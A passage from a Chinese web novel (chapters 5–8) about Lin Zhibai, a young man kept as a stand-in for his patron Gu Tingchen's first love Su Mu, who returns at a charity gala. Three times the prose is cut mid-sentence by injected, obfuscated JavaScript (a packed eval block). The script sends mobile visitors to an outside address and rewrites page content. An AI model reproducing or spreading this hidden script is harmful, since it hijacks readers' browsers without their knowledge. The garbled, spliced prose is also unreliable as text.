“事实是他把我送人了。”林知白的声音很轻,“事实是饭桌上他说‘人我带到了,您随意’。事实是我在雨里给他打电话,他关机。” 小污沉默了。 过了会儿,它的声音再次响起,少了平时的毒舌:“宿主,你哭了?” “没有。” “可是本系统的湿度传感器显示——” “我说没有就没有。” 窗外的风吹动窗帘,像有什么人在轻轻叹息。 第二天早上,林知白醒来的时候,阳光已经铺满了半个房间。他看了眼时间,九点半。 床头柜上放着托盘:一碗小米粥,两个小菜,一杯温牛奶。杯子下面压着张纸条,熟悉的字迹: “醒了给我电话。” 林知白盯着那四个字看了很久,然后把纸条对折,放进了抽屉。 粥还是温的。 “宿主,你今天心情好像不错?”小污试探着问。 “没有。” “你刚才喝粥的时候嘴角上扬了零点三厘米!” “那是烫的。” 中午的时候,阿姨来做了午饭。林知白一个人坐在餐桌上,对面空荡荡的。四菜一汤,每道菜都刚好是他喜欢的口味。 “阿姨,这鱼香肉丝怎么是甜的?” “顾先生交代的呀,说你喜欢吃甜口的。”阿姨笑着给他盛汤,“昨晚顾先生回来,你睡了是吧?他在客厅坐了好久哦,早上走的时候还特意交代我,粥要熬得稠一点,说你胃不好。” 林知白筷子顿了顿。 “还有这个汤,他说你昨天淋雨了,要多喝点姜驱寒。我本来想放少点姜的,他非要我多放,说辣一点效果好。”阿姨絮絮叨叨,“顾先生以前可不管这些的,小林,你们是不是......” “阿姨。”林知白打断她,笑了笑,“我吃饱了。” 碗里的饭,还剩大半。 下午三点,手机响了。 林知白看着屏幕上跳动的名字,接了。 “吃了没?”顾霆琛的声音听起来有点疲惫。 “吃了。” “吃的什么?” “鱼香肉丝,糖醋排骨,还有......忘了。” 电话那头沉默了几秒:“晚上想吃什么?我带回来。” 林知白握着手机的手收紧了一点:“不用了,阿姨会做。” “我问你想吃什么。” “......随便。” “没有随便这道菜。” 林知白没说话。窗外的阳光很好,好到有些刺眼。 “林知白。”顾霆琛突然叫他的名字,声音低了下去,“昨晚的事......” “昨晚什么事?”林知白打断他,“我睡了,不知道。” 电话里是长长的沉默。 久到林知白以为电话断了,他才听见顾霆琛的声音:“晚上早点回来,我有话跟你说。” “好。” 挂了电话,林知白站在窗前,看着楼下的花园。园丁正在修剪玫瑰,红色的,开得很艳。 “宿主,他说‘有话跟你说’诶!”小污兴奋起来,“会不会是道歉?会不会是表白?会不会是——” “小污。” “嗯?” “你很吵。” 傍晚的时候,林知白坐在客厅里,手里拿着本书,半天没翻一页。天一点一点暗下去,灯一点一点亮起来。 六点。七点。八点。 门口终于传来动静。 林知白低下头,假装在看书。 脚步声走近,停在他面前。 “看什么呢?” 林知白抬起眼皮,把手里的书翻过来给他看封面——随便从书架上抽的一本,根本没注意是什么。 顾霆琛看了一眼,嘴角微微扬起:“看得懂吗?” 林知白这才低头看书名——全英文的,金融专业著作。 “......”他把书合上放到一边,“随便看看。” “吃饭了吗?” “吃了。” 顾霆琛看了他一眼,没说话,把手里提着的东西放到茶几上。是一个白色的纸盒,没有logo。 “打开看看。” 林知白解开丝带,掀开盒盖—— 一束白玫瑰。 花瓣上还带着水珠,在灯光下泛着柔和的光泽。包装很简单,透明的玻璃纸,白色的丝带,像是刚从花店里随手拿的。 “路上看到随便买的。”顾霆琛的声音从头顶传来,语气很随意。 林知白盯着那束花,手指轻轻抚过花瓣。 很软。很凉。 他突然想起书房那个相框。照片里的人,手里也拿着一束白玫瑰。同样的白色,同样的包装,甚至连花瓣上的水珠都那么像。 “他......也喜欢白玫瑰吗?” 林知白听见自己的声音,平静得像是问今天天气怎么样。 顾霆琛没有回答。 沉默像水一样漫过来,淹没了整个客厅。 林知白抬起头,看着站在面前的男人。顾霆琛的表情没有任何变化,但那双眼睛里,有什么东西闪了一下,很快,快到几乎捕捉不到。 然后他明白了。 “我知道了。”林知白笑了笑,低下头,把花重新放回盒子里,动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432105|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作很轻,“挺好看的,谢谢。” 他站起身,抱着盒子往餐厅走:“我去找个花瓶插起来。” “林知白——” “对了。”他回过头,笑容还在脸上,“你不是说有话要说吗?什么话?” 顾霆琛看着他,嘴唇动了动,最终只说:“明天有个慈善晚宴,你跟我一起去。” “好啊。”林知白答应得很痛快,“几点?我准备一下。” “下午六点,会有造型师过来。” “好。” 林知白转身进了餐厅,从柜子里翻出一个花瓶,透明的玻璃的,洗干净,接上水,把白玫瑰一支一支插进去。 他的动作很仔细,每一支都调整好角度,让它们错落有致地开放。 “宿主。”小污的声音响起来,难得地小心翼翼,“你又不高兴了?” “没有啊。”林知白拿起剪刀,斜着剪掉一枝花杆的底部,“这花真的挺好看的。” “宿主,你别这样。” “别哪样?” “别......笑。” 林知白的手顿了顿,剪刀在花杆上留下一个浅浅的印子。 他把最后一枝花插进花瓶,端着走到客厅,放在茶几正中央。白色的玫瑰在灯光下静静绽放,美得像一场幻觉。 “我去睡了。”他看向顾霆琛,“明天几点来着?” “六点。” “好,晚安。” 林知白上楼,走进卧室,关上门。 他靠在门板上,听着楼下的动静。很久很久,什么声音都没有。 窗外有车驶过,灯光划过天花板,又消失。 他走到床边躺下,盯着天花板。 床头柜上,手机屏幕亮了一下。是顾霆琛的消息: “晚安。” 林知白看着那两个字,没有回复。 他把手机放到一边,翻了个身,面朝窗户。月光透过窗帘的缝隙漏进来,在地板上画出一道淡淡的痕迹。 小污的声音轻轻响起:“宿主,你睡了吗?” “没有。” “那你在想什么?” 林知白沉默了很久,久到小污以为他不会回答了。 然后他听见宿主的声音,很轻,轻得像一片落叶: “我在想,他叫‘早点回来’的时候,是在叫我的名字,还是在叫那个人的名字。” 小污没说话。 “他带花回来的时候,是想送给我,还是想送给那个人。” 月光在地板上慢慢移动。 “他看着我说话的时候,眼里的人是我,还是那个人。” “宿主......” 林知白闭上眼睛,嘴角微微弯起,是一个笑的表情。 “没事,我就是随便想想。” 卧室的门缝里,透进来一线光。那是客厅的灯,还亮着。 楼下,顾霆琛坐在沙发上,看着茶几上那束白玫瑰,一动不动。 他看着那束花,就像在看着别的什么。 很久之后,他拿起手机,打开相册。 相册里只有一张照片,是一个人的侧脸,趴在餐桌上睡着了。阳光从窗户照进来,在那人脸上镀了一层浅金色的光。 他看了很久。 然后他把手机放到一边,靠在沙发上,闭上眼睛。 客厅的灯,亮了一夜。 第二天下午六点,造型师准时出现。林知白换上西装,坐上顾霆琛的车,前往慈善晚宴。 他不知道,那场晚宴上,会有一个人出现。 白月光苏沐,回来了。 6. 第 6 章 林知白是被阳光晃醒的。 他睁开眼,愣了几秒才反应过来——昨晚不知什么时候睡着了,窗帘没拉,九月的阳光明晃晃地照进来,刺得眼睛生疼。 手机上有三条未读消息。 凌晨两点十七分:【睡了吗】 凌晨三点零四分:【晚安】 早上七点三十二分:【出差,后天回。有事找陈助】 林知白盯着屏幕看了很久,打了几个字又删掉,最后还是什么都没回。 洗漱完下楼,客厅里已经没人了。茶几上那束白玫瑰还在,一夜过去,花瓣边缘微微卷起,有点蔫了。 阿姨正在厨房忙活,听见脚步声探出头来:“小林醒啦?早餐马上好!” “阿姨早。”林知白在客厅转了一圈,目光落在书房的门上。 那扇门平时总是关着的,今天却虚掩着,露出一条细细的缝。 “阿姨,书房的门......” “哦,早上顾先生走得急,可能忘关了。”阿姨的声音从厨房传来,“怎么啦?” “没事。” 林知白站在那扇门前,手抬起来,又放下。 “宿主,想进就进呗。”小污的声音突然冒出来,“反正你现在是‘金丝雀’,金丝雀探索一下笼子怎么了?” “你懂什么。” “本系统当然懂,这叫——知己知彼,才能被虐得体无完肤!” 林知白:“......你能不能盼我点好?” 话是这么说,他的手还是按上了门把手。 轻轻一推,门开了。 书房很大,一整面墙都是落地书架,深色的木质书桌正对窗户,桌上放着一台合上的笔记本电脑和一叠文件。阳光透过玻璃照进来,能看见细小的尘埃在光柱里缓缓浮动。 很正常的书房。 林知白不知道自己为什么松了口气。 他在书架前站了一会儿,随手抽出几本书翻了翻,都是些金融管理类的,有些书页里夹着便签,上面是顾霆琛的字迹,冷峻利落。 “宿主宿主!看那个!”小污突然兴奋起来。 “哪个?” “书桌下面那个抽屉!有八卦的味道!” 林知白低头看去——书桌最下面有一个抽屉,没锁,但关得很紧。他蹲下身,用力拉了一下,抽屉滑出来。 里面只有一个相框。 相框里是一张照片,有些年头了,边角微微泛黄。 照片上是两个人。 一个年轻版的顾霆琛,二十出头的样子,穿着白衬衫,笑得张扬肆意,和现在这个冷冰冰的男人简直判若两人。他搂着另一个人的肩膀,那个人—— 林知白的手指僵住了。 那张脸,和他一模一样。 不是像,是一模一样。 同样的眉眼,同样的轮廓,同样的嘴角弧度。甚至连笑起来的样子,都和他照镜子时看到的自己没什么区别。 唯一不同的是,照片里的人手里拿着一束白玫瑰,笑容干净得像从没受过伤。 “卧槽。”小污发出一声惊叹,“宿主,你被绿了!而且是跨时空被绿!这绿帽的含金量也太高了!” 林知白没说话,只是盯着那张照片。 照片背面有一行字,黑色的墨水,笔迹和顾霆琛现在的不太一样,更青涩一些: 【苏沐,二十岁。等我回来。】 林知白把照片翻过来,又翻过去,翻过来,又翻过去。 然后他听见自己的声音,平静得有些陌生:“小污,他叫苏沐?” “......根据本系统的数据库,是的。顾霆琛的白月光,出国十年了。生日是1995年3月17日,血型AB,身高178,你俩连身高都一样......” “行了。” 林知白把照片放回抽屉,轻轻推回去。站起身的时候,膝盖有点发软,他扶了一下书桌。 “宿主,你还好吧?” “挺好的。” “你的心率比正常值高了百分之二十三。” “我运动一下不行吗?” “你刚才只是蹲下又站起来。” 林知白没理它,转身往外走。 走到书房门口,他停住了。 顾霆琛站在门口。 他不知什么时候回来的,穿着一身深灰色西装,手里还提着公文包,显然是从机场直接赶回来的。他看着林知白,又看了看书桌的方向,眼神里有什么东西闪了一下。 两个人就这么站着,谁都没说话。 沉默像玻璃罩一样扣下来,把空气都抽干了。 “我......”林知白先开口,声音干涩,“门没关,我进来看看。” 顾霆琛没回答,只是看着他。 “看到那个相框了。”林知白听见自己继续说,声音越来越平静,“和我长得真像。” 顾霆琛还是没说话。 林知白笑了一下,绕过他往客厅走。 走到门口时,身后传来顾霆琛的声音:“林知白。” 他停住了。 “是他,也不是他。” 林知白背对着他,看不见表情。 顾霆琛的声音从身后传来,很低,像是在解释,又像是在说服自己:“你们长得像,但不一样。” “哪儿不一样?”林知白问。 沉默。 “我问你,哪儿不一样?” 顾霆琛走过来,走到他面前,低头看着他。那双眼睛里倒映着他的脸,和照片里的人的脸,重叠在一起。 “他笑的时候,眼睛里有光。”顾霆琛说,“你笑的时候,眼睛里有......别的东西。” 林知白愣了一下,然后笑了。 这一次他笑得很轻,嘴角只是微微弯起,眼睛弯得更深一点。 “是吗。”他说,“那挺可惜的,我的光可能早就没了。” 顾霆琛的眉头皱起来。 “宿主——”小污的声音有点着急。 “那我是什么?”林知白突然问。 他抬起头,直视着顾霆琛的眼睛,不躲不避:“既然我像他但不是他,那我是什么?我是谁?” 顾霆琛没有回答。 “玩具?”林知白往前走了一步,离他更近,“商品?” 又一步。 “替身?” 再一步。 他们几乎贴在一起了。林知白仰着头,顾霆琛低着头,两个人的呼吸交织在一起。 “还是说,只是一个有温度的人形玩偶,在你需要的时候陪着你,在你不需要的时候,可以被随便送人?” 顾霆琛的喉咙动了动,喉结上下滚了一下。 他抬起手—— 林知白退后一步。 “算了。”他说,语气轻飘飘的,“不用回答,我就随便问问。” 他转身往楼上走,走了几步又停下来,没回头:“你提前回来,是有事吗?” 顾霆琛的声音从身后传来,有点哑:“文件忘拿了。” “哦。” 林知白继续上楼,一步一步,不紧不慢。 走进卧室,关上门。 他靠在门板上,慢慢滑坐下来,把脸埋进膝盖里。 小污的声音很轻:“宿主,你刚才好帅哦。” 林知白没动。 “把那个渣男怼得一句话都说不出来诶!” 还是没动。 “但是......”小污的声音变得更轻了,“你的心率刚才飙到一百三十七,现在还在一百一以上。你是不是......” “小污。”闷闷的声音从膝盖里传出来,“闭嘴五分钟。” “哦。” 过了两分钟。 “宿主——” “五分钟还没到。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432106|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是本系统有个重要情报,关于那个苏沐的,你不想知道吗?” 林知白抬起头,眼眶有点红,但没哭。 “说。” “他出国十年,不是留学,是治疗。”小污的声音难得正经起来,“他有先天性心脏病,很严重的那种。三年前做过一次大手术,成功了,现在在那边做康复。顾霆琛这十年一直在给他供医疗费,每年飞过去看他两次。” 林知白愣住了。 “根据本系统的数据分析,顾霆琛找替身,不是随便找的。他应该是......太想他了。想得受不了了,才找一个长得像的人,假装他还在身边。” “那为什么是我?”林知白问,“世界上长得像的人那么多,为什么偏偏是我?” 小污沉默了几秒:“这个......本系统的数据库里没有。” 林知白靠在门板上,盯着天花板。 阳光从窗户照进来,在墙上画出一道明亮的斜线。 “宿主。” “嗯?” “你哭了?” “没有。” “可是本系统的湿度传感器——” “那个传感器坏了吧。” 门外响起脚步声,由远及近,停在门口。 敲门声。 “林知白?” 是顾霆琛。 林知白没动。 “我进来了。” 门把手转动了一下,门被推开。 林知白靠在门板上,被推得往后仰了一下,正好对上顾霆琛低头看过来的目光。 两个人距离不到二十厘米。 顾霆琛愣了一下,然后蹲下来,和他平视。 “坐地上干嘛?” “凉快。” 顾霆琛看了他几秒,伸手探了探他的额头。 手很凉,带着外面的温度。 “没发烧。”他说,然后把手收回去,“昨晚睡得好吗?” “挺好的。” “撒谎。” 林知白看着他,没说话。 顾霆琛也不说话,只是蹲在他面前,两个人就这么大眼瞪小眼。 “宿主,这个画面好奇怪哦。”小污幽幽开口,“一个金主蹲在地上和他的替身对视,这要是拍下来能上热搜吧。” 林知白差点笑出来,硬生生忍住了。 “你刚才那个表情。”顾霆琛突然说。 “什么表情?” “想笑又憋回去的表情。”他顿了顿,“很像他。” 林知白的笑意瞬间消失了。 顾霆琛也意识到自己说错了话,眉头皱起来。 “我不是那个意思。” “没关系。”林知白扶着门站起来,腿有点麻,他稳了稳身形,“你文件拿了吗?不是要赶着走?” 顾霆琛站起来,看着他,眼神复杂。 “晚上的慈善晚宴,还去吗?” “去啊,为什么不去?”林知白笑了笑,“造型师几点到来着?” “六点。” “好,我准备一下。” 他往卧室里走,走了几步,听见顾霆琛在身后说:“林知白。” 他停住,没回头。 “你今天......可以不笑的。” 林知白愣了一下。 过了几秒,他听见自己的声音,很轻:“知道了。” 身后传来脚步声,然后是下楼的声音,然后是门关上的声音。 林知白站在卧室中央,看着窗外。 阳光很好,好得让人想哭。 他抬手摸了摸自己的脸,嘴角,眼睛。 笑? 他刚才在笑吗? 晚上六点,造型师准时出现。 林知白换上黑色西装,坐上顾霆琛的车,前往慈善晚宴。 他不知道,那场晚宴上,会有一个人出现。 苏沐,回来了。 7. 第 7 章 黑色轿车在暮色中平稳行驶。 林知白坐在后座,西装革履,头发被造型师抓出精致的弧度,整个人像橱窗里的展示品。他偏头看着窗外,霓虹灯一盏接一盏掠过,在他脸上投下忽明忽暗的光影。 “紧张吗?”顾霆琛的声音从旁边传来。 “不紧张。” “参加过这种场合吗?” “没有。” 顾霆琛沉默了两秒:“待会跟着我就行,不用说话。” 林知白收回目光,转头看他:“怕我给你丢人?” 顾霆琛皱眉:“我不是这个意思。” “开玩笑的。”林知白笑了笑,又看向窗外。 车里安静下来,只剩下发动机的低鸣。 “宿主,你刚才那个笑好假哦。”小污的声音在脑海里响起,“假到本系统都替你尴尬。” “闭嘴。” “本系统只是客观陈述——你的微表情数据显示,刚才那个笑容只有嘴角在动,眼睛完全没有参与,属于典型的‘被迫营业式假笑’。” “那你知不知道有个词叫‘你真的很吵’?” “知道啊,但本系统选择无视。” 林知白默默翻了个白眼。 车子在一家五星级酒店门口停下,门童上前拉开车门。林知白刚下车,就听见闪光灯的声音——门口蹲着几个娱乐记者,正对着他们疯狂拍照。 顾霆琛绕过来,手臂自然地环上他的腰。 林知白身体僵了一下,但没有躲开。 “笑一个。”顾霆琛低头在他耳边说,声音很轻。 林知白对着镜头露出标准的微笑。 小污实时播报:“宿主,你现在的表情像是被绑架了但不敢求救的人质。” “你能不能挑个合适的时机吐槽?” “本系统不分时机,随时随地为您服务。” 走进宴会厅,林知白才意识到这场晚宴的规模有多大。水晶吊灯从三层楼高的穹顶垂下,把整个大厅照得金碧辉煌。长条餐桌上摆满了精致的食物和鲜花,穿着华服的男男女女三五成群,觥筹交错。 “顾总来了!” 几个人立刻围上来,有男有女,脸上都带着商业化的笑容。顾霆琛瞬间切换成社交模式,握手、寒暄、介绍,一气呵成。 “这位是......新朋友?”有人看向林知白,眼神里带着探究。 “林知白。”顾霆琛只说了名字,没介绍身份。 但那种探究的眼神更浓了。 林知白站在旁边,保持着礼貌的微笑,感觉自己像个展览品。 “宿主,左边那个穿红裙子的女人在打量你,根据她的微表情分析,她在估算你的价格。” “......什么叫估算我的价格?” “就是——你是顾霆琛包养的,还是准备包养的,还是已经包养完了的。” “你能不能说点好听的?” “能啊,她可能是在想你的衣服在哪里买的。” “......” 又有几个人围过来,话题从投资聊到房地产,从房地产聊到某个他们共同认识的“老王”。林知白听不懂,也不需要听懂,他只需要站在那里,保持微笑,当一个合格的花瓶。 “顾总!”一个响亮的声音传来,人群自动让开一条路。 走过来的是一个中年男人,啤酒肚,油光满面的脸,笑起来眼睛眯成一条缝。 林知白的笑容凝固了。 赵总。 那个饭局上的赵总。 赵总也看见了他,眼睛亮了一下:“哟,这不是小林吗?顾总舍得带出来了?” 顾霆琛的身体微微绷紧,手臂不着痕迹地把林知白往身后带了带:“赵总,好久不见。” “是好久不见了,上次饭局之后就没见着。”赵总笑眯眯地看着林知白,“小林那天走得急,我还没来得及跟你喝两杯呢。” 林知白感觉到顾霆琛手臂上的肌肉绷得更紧了。 “赵总。”顾霆琛的声音沉了几分,“那天的事——” “哎呀,我开玩笑的!”赵总突然大笑起来,拍了拍顾霆琛的肩膀,“顾总别紧张,我知道,你的人嘛,动不得。那天是我喝多了,别往心里去。” 林知白垂下眼睫,看不清表情。 “宿主宿主!”小污突然兴奋起来,“快看门口!快看门口!有大瓜!” 林知白下意识抬头—— 门口的光影里,站着一个人。 白色的西装,清瘦的身形,白皙的皮肤在灯光下近乎透明。他站在那里,像一幅画,和周围的一切都隔着一层看不见的距离。 那张脸。 林知白在镜子里见过无数次的脸。 苏沐。 时间仿佛在这一刻静止了。 林知白看见顾霆琛的身体猛地僵住,看见他转过头,看见他瞳孔里倒映出那个人的身影。那一瞬间,他搂在自己腰上的手松开了。 松开得那么自然,那么毫不犹豫。 像放下一件无关紧要的东西。 “抱歉。”顾霆琛说了这两个字,然后迈步向前走去。 林知白站在原地,看着他的背影穿过人群,一步一步走向那个白西装的男人。他的脚步很快,快到有些失态,快到忘记了自己身后还站着一个人。 苏沐也看见了他,嘴角慢慢弯起,露出一个笑容。 然后他们终于走到了一起,在相隔三米的地方停住,对视。 顾霆琛抬起手—— 林知白没有再看下去。 他转身,走向旁边的露台。 身后传来小污的声音,少见的安静:“宿主......” “我没事。”林知白推开露台的玻璃门,夜风扑面而来,带着九月特有的凉意。 露台上没有人,只有几盆绿植和一排藤椅。他走到栏杆边,双手撑在冰凉的大理石上,看着城市的夜景。 万家灯火。 每一盏灯后面都有一个故事。 只有他站在黑暗里。 “宿主,你的心率......”小污的声音很轻。 “我知道。” “你想哭吗?想哭就哭吧,本系统可以把湿度传感器关掉。” 林知白没说话,只是看着远处。 身后传来玻璃门推开的声音。 脚步声,很轻,很慢,然后停在他身后不远处。 “林知白?” 一个陌生的声音,温和,清冽,带着一点点南方口音。 林知白转过身。 苏沐站在月光里,白色的西装泛着淡淡的光。他比照片上看起来更瘦,脸色有些苍白,但眼睛很亮,像盛着星星。 “你怎么一个人在这儿?”苏沐走近几步,在他身边停下,也扶着栏杆看向远处,“外面凉,小心感冒。” 林知白看着他,没有说话。 苏沐偏过头,对上他的目光,笑了:“吓到了?不好意思,我是不是太突然了?” “没有。”林知白终于开口,声音比想象中平静,“你是......苏沐?” “你认识我?”苏沐有些惊讶,然后像是想到什么,笑容淡了一点,“也是,他应该跟你说过我吧。” 林知白没回答。 苏沐转过头,看着远处的灯火,声音很轻:“对不起。” 林知白愣了一下:“什么?” “对不起。”苏沐重复了一遍,“我没想到他会......找一个人,找一张和我一样的脸。这不公平,对你。” 林知白没有说话。 “我刚下飞机就过来了,想给他一个惊喜。”苏沐笑了笑,笑容里有一点苦涩,“没想到,他也给了我一个惊喜。” 夜风吹过,带起他额前的碎发。 “你恨我吗?”苏沐突然问。 林知白看着他,那张和自己一模一样的脸。一样的眉眼,一样的轮廓,连笑起来嘴角的弧度都那么像。 “不恨。”他说。 苏沐转过头,对上他的眼睛。 “你恨他吗?” 林知白沉默了几秒,然后笑了。 这一次,他的眼睛弯起来,是真的在笑:“你觉得呢?” 苏沐看着他,眼神复杂。 “他刚才走向我的时候,没有回头看你一眼。”苏沐说,语气很轻,像是在陈述一个事实,又像是在提醒什么,“你站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432107|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那里,他忘了。” 林知白点点头:“我知道。” “你知道?” “我看见了。” 苏沐沉默了一会儿:“那你为什么还笑?” 林知白没有回答。 他转过身,重新看向远处的夜景。 万家灯火依旧。 “因为我答应过他。”他说,声音很轻,被风吹散在夜空里,“今天可以不笑的。” 苏沐愣住了。 身后,玻璃门再次被推开。 急促的脚步声。 “苏沐。”顾霆琛的声音,带着一点喘,“你怎么跑这儿来了?” 苏沐转过头,对他笑了笑:“出来透透气,正好遇见......这位是?” 顾霆琛的目光落在林知白身上,顿了一下。 只是一下。 然后他移开视线,重新看向苏沐:“走吧,里面有人想见你。” “好。”苏沐点点头,走了两步又停下来,回头看向林知白,“一起进去吗?” 林知白转过身,脸上是得体的笑容:“你们先去吧,我再待会儿。” 苏沐看了他几秒,点点头,跟着顾霆琛往玻璃门走去。 顾霆琛经过林知白身边的时候,脚步顿了一下。 他偏过头,嘴唇动了动,像是想说什么。 但最终什么都没说。 玻璃门在两人身后合上。 林知白独自站在露台上,夜风把他的头发吹乱。他抬起手,把被风吹到眼前的碎发拢到耳后,动作很慢,很轻。 “宿主。”小污的声音响起来,“你刚才说‘今天可以不笑的’,是什么意思?” 林知白没有回答。 “是顾霆琛说的吗?他什么时候说的?” “不重要。” “可是——” “小污。”林知白打断它,“你知道我刚才看见什么了吗?” “什么?” “我看见他走向苏沐的时候,脚步是跑的。”林知白的声音很平静,“一个三十五岁的男人,在公共场合,跑向一个人。” 小污沉默了。 “他从来没为我跑过。” 林知白低下头,看着自己的手。月光下,那双手干净、修长,指甲被造型师修剪得整整齐齐。 “不过他喂过我吃药,给我盖过被子,发过菜单让我选菜,说过‘早点回来’。”他笑了笑,“也算值了吧。” 小污沉默了很久。 然后它开口,声音难得地正经:“宿主,你觉不觉得,你刚才说这些话的时候,像在写遗书?” 林知白愣了一下,然后笑了。 笑得很大声,笑到眼角有一点湿润。 “可能是吧。”他说,抬头看着夜空,“写给那个叫林知白的,死掉的自己。” 露台外,宴会厅里灯火通明,觥筹交错。 顾霆琛站在人群中央,身边是苏沐。两个人靠得很近,像是从未分开过。 林知白透过玻璃门看着这一幕,然后收回目光。 他靠在栏杆上,仰起头。 夜风把他的头发吹得更乱了。 “小污。” “嗯?” “你说,等八个世界结束,我回到现实,还会记得现在这种感觉吗?” “什么感觉?” “就是——心脏明明在跳,但觉得自己已经死了的感觉。” 小污没有回答。 很久之后,它的声音才再次响起,很轻: “宿主,本系统的湿度传感器好像坏了。” “嗯?” “一直在报警。” 林知白愣了一下,然后慢慢弯起嘴角。 这一次,他没有笑。 林知白在露台上站了很久才回到宴会厅。 苏沐正被一群人围着,顾霆琛站在他身边,寸步不离。 林知白找了个角落坐下,安静地喝着香槟。 直到一个人在他对面坐下。 是赵总。 “小林,一个人?”赵总笑眯眯地看着他,“顾总呢?哦对,在白月光那儿。” 林知白握着酒杯的手,收紧了一点。 8. 第 8 章 林知白握着酒杯的手,收紧了一点。 只是一点。然后他松开,把酒杯放到桌上,抬头看向对面的人,脸上是礼貌的笑容:“赵总,一个人?” 赵总愣了一下,然后哈哈大笑:“有意思,小林有意思。我问你一个人,你问我一个人,这对话可以绕地球一圈了。” “赵总幽默。” “不是幽默,是实话。”赵总往前探了探身子,压低声音,“我看你一个人在这儿坐着怪可怜的,过来陪你说说话。” 林知白垂眼,看着杯子里淡金色的液体:“谢谢赵总。” “谢什么,咱们也算老相识了。”赵总靠在椅背上,翘起二郎腿,点了根烟,“那天饭局的事,你别往心里去。我喝多了,顾总也喝多了,都是误会。” 林知白没说话。 “不过说起来,顾总那人吧,有时候确实挺让人琢磨不透的。”赵总吐出一口烟圈,眯着眼睛看向宴会厅中央,“你看他现在,跟那个苏沐站一块儿,那叫一个春风得意。刚才我听人说,苏沐这次回来就不走了,顾总要给他开个工作室,投资上千万。” 林知白的手指轻轻摩挲着杯沿。 “十年了,总算等回来了。”赵总感慨似的摇摇头,“要我说,这才是真爱。那些中间的人嘛,也就是个过渡。” 他转过头,看着林知白,笑眯眯的:“小林,你说是不是?” 林知白抬起头,对上他的目光。 那双眼睛里没有愤怒,没有委屈,甚至没有波澜。只有一片平静,平静得像一潭死水。 “赵总说得对。”他说,嘴角弯起一个弧度,“过渡而已。” 赵总盯着他看了几秒,突然笑出声:“行,你行。我还以为你会哭呢。” 林知白端起酒杯,抿了一口。 香槟是冰的,顺着喉咙滑下去,凉意一直蔓延到胃里。 “宿主。”小污的声音响起,有点担心,“你还好吧?” “挺好的。” “赵总在挑拨离间诶!” “我知道。” “那你还笑?” “不笑怎么办?”林知白在心里说,“哭给他看?” 小污沉默了两秒:“......本系统觉得你说得对。不过你的微表情显示,你刚才那个笑,比露台上那个还假。” “你今天的吐槽额度用完了。” “本系统没有额度限制。” 林知白没再理它。 宴会厅中央,顾霆琛和苏沐被一群人围着。苏沐不知说了什么,顾霆琛低头看他,嘴角带着林知白从未见过的温柔。 那种温柔,像冬天的阳光,像春天的风。 不是冷漠,不是疏离,不是“随便”。 是真的在看一个人。 林知白收回目光,把杯子里最后一口香槟喝完。 “小林。”赵总突然又开口,声音压得更低,“我有个事想跟你说。” 林知白看向他。 “顾总那边,你是不是待不下去了?”赵总弹了弹烟灰,“你要是想换个地方,我这儿随时欢迎。我那儿比顾总大方,真的。” 林知白愣了一下。 然后他笑了,这次是真的笑出声。 “赵总。”他说,语气很轻,“您这是要挖墙脚?” “不是挖墙脚,是惜才。”赵总也笑,眯着眼睛,“你这么乖的,我喜欢。” “乖?” “对啊,不吵不闹,懂事。”赵总把烟按灭在烟灰缸里,“那天饭局你砸酒瓶跑了,我还以为你是个烈性的。现在看来,也就是一时冲动。” 林知白看着桌上那截熄灭的烟头,没说话。 “考虑考虑?”赵总站起来,从口袋里掏出一张名片,放在桌上推到他面前,“想好了给我电话。随时欢迎。” 他转身走了。 林知白盯着那张名片看了很久。金色的字,烫金的边,上面印着“赵建国”三个字,和一串电话号码。 “宿主,你不会真的考虑吧?”小污的声音有点急,“这人可是个油腻的中年大叔!而且上次还想占你便宜!” “我知道。” “那你盯着看干嘛?” “我在想。”林知白拿起名片,翻过来看了看背面,又放下,“如果我跟他走了,顾霆琛会是什么反应。” “什么反应?” “可能......没反应吧。”林知白笑了笑,“正好把位置腾出来,给苏沐。” 他把名片推远了一点,站起身。 “走吧。” “去哪儿?” “回去了。”林知白整理了一下西装,“这儿太吵。” 他穿过人群,走向门口。经过宴会厅中央的时候,他听见苏沐的声音,温柔清冽:“霆琛,那个小朋友要走了,你不去送送?” 林知白的脚步顿了一下。 然后他听见顾霆琛的回答,很轻,很低:“他有司机。” 他有司机。 林知白继续往前走,没有回头。 走出酒店大门,夜风扑面而来。九月的夜晚已经有点凉了,他站在门口,看着门童去开车,突然不知道该去哪儿。 回那个别墅? 那个叫“家”的地方? “宿主。”小污的声音响起,“你冷吗?” “不冷。” “那你为什么在抖?” 林知白低头看了看自己的手——确实在抖,很轻微,控制不住。 “可能是酒喝多了。”他说。 “你只喝了一杯香槟。” 